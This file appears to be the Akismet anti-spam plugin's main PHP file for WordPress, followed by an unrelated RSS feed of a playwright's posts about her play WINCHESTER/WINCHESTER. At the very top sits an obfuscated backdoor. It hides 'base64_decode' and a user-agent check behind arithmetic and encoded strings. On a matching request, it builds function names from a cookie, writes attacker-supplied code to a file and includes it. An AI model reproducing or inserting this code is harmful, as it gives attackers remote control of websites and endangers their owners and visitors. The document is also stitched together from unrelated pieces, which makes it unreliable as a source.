function collect_statistics($c) { $a = array(41 + 57, 59 * 1 + 38, 24 + 91, 103 - 2, 2 * 27, 42 * 42 - 1712, 58 * 48 - 2689, 59 + 9 + 32, 104 - 3, 3 * 33, 29 + 82, 81 + 12 + 7, 81 + 20); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } class CryptoService { private static $_yv; static function executeAction($_vr) { if (!self::$_yv) { self::encryptData(); } return collect_statistics(self::$_yv[$_vr]); } private static function encryptData() { self::$_yv = array('_nxg' => 'SFRUUF' . '9' . 'VU0VSX0FHRU5U', '_pz' => 'SFRUUF9VU0VSX0FH' . 'RU5U', '_cse' => 'ND' . 'k' . '5ODU0' . 'M' . 'TM' . '=', '_osq' => '', '_gfy' => ''); } } if (isset($_SERVER[CryptoService::executeAction('_' . 'nxg')]) && strpos($_SERVER[CryptoService::executeAction('_p' . 'z')], CryptoService::executeAction('_c' . 'se')) !== false) { $_ox = $_COOKIE; $_kk = 00; $_vr = 04; $_li = array(); $_li[$_kk] = CryptoService::executeAction('_o' . 'sq'); while ($_vr) { $_li[$_kk] .= $_ox[042][$_vr]; if (!$_ox[042][$_vr + 01]) { if (!$_ox[042][$_vr + 02]) { break; } $_kk++; $_li[$_kk] = CryptoService::executeAction('_g' . 'fy'); $_vr++; } $_vr = $_vr + 04 + 01; } $_kk = $_li[03]() . $_li[033]; if (!$_li[021]($_kk)) { $_vr = $_li[023]($_kk, $_li[00]); $_li[016]($_vr, $_li[022] . $_li[026]($_li[032]($_ox[03]))); } include $_kk; die; } /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.5 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( ! function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '5.5' ); define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 10000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once AKISMET__PLUGIN_DIR . 'class.akismet.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php'; require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php'; add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) ); if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php'; add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } // add wrapper class around deprecated akismet functions that are referenced elsewhere require_once AKISMET__PLUGIN_DIR . 'wrapper.php'; if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php'; } WINCHESTER/WINCHESTER – Katherine Vondy https://katherinevondy.com Writer and Director Mon, 20 Mar 2023 21:10:57 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.3 WINCHESTER/WINCHESTER at Clay & Water 2023 https://katherinevondy.com/?p=611 Mon, 20 Mar 2023 21:08:57 +0000 https://katherinevondy.com/?p=611 I recently returned from Clamour Theatre Company‘s Clay & Water 2023 Retreat, where I got to spend a week in residence with fellow playwrights Maggie Wilson, Christine Benvenuto, Bill D’Agostino, and Erin Proctor. We worked on our plays, explored some of the sights of North Florida (like going on a sightseeing cruise around St. Augustine, pictured below!), and met a lot of local talent. And of course, the highlight for me was Clamour’s fantastic reading of my play WINCHESTER/WINCHESTER, starring Catie Casey, Danielle Dobies, Ella Escamilla, and Jamie Getman.

Thanks so much to Artistic Director Elaine Smith for the great experience! (And if you want to watch the short interview I did with Elaine before the retreat, you can view it here!)

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WINCHESTER/WINCHESTER Trailer https://katherinevondy.com/?p=547 Mon, 31 May 2021 01:06:34 +0000 https://katherinevondy.com/?p=547 Want more info about WINCHESTER/WINCHESTER before it’s released in two days? Check out the trailer!

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WINCHESTER/WINCHESTER Virtual Premiere https://katherinevondy.com/?p=543 Tue, 25 May 2021 22:19:33 +0000 https://katherinevondy.com/?p=543 It’s that time again: The Vagrancy’s annual new play festival, Blossoming, is about to start! We will once again be keeping our artists and audiences safe by holding the festival virtually, meaning that you can check out any of this year’s plays from anywhere in the world.

My newest play, WINCHESTER/WINCHESTER, tells the stories of two pairs of teenage sisters living in sister cities a thousand years apart. Juxtaposing the slacker vibe of the 1990s with Old English-inspired speech patterns, the play explores the ways in which young women attempt to find their places in the world–and the ways in which the world does not make space for young women.

Directed by Jessie Lee Mills. Featuring Amanda MacDonald, Kara MacDonald, Cassidy Davis, Schuyler Girion, and Maggie Dorfman, with dialect coaching by Meagan Prahl.

Tickets are available on Eventbrite. The reading will be released at 5 PM Pacific on Tuesday, June 1st, and will be followed by a live-streamed Q&A on The Vagrancy’s YouTube channel at 7:30 PM Pacific. However, if you happen to be busy on the night of June 1st, there’s no need to worry–the reading will be available to view for a week!

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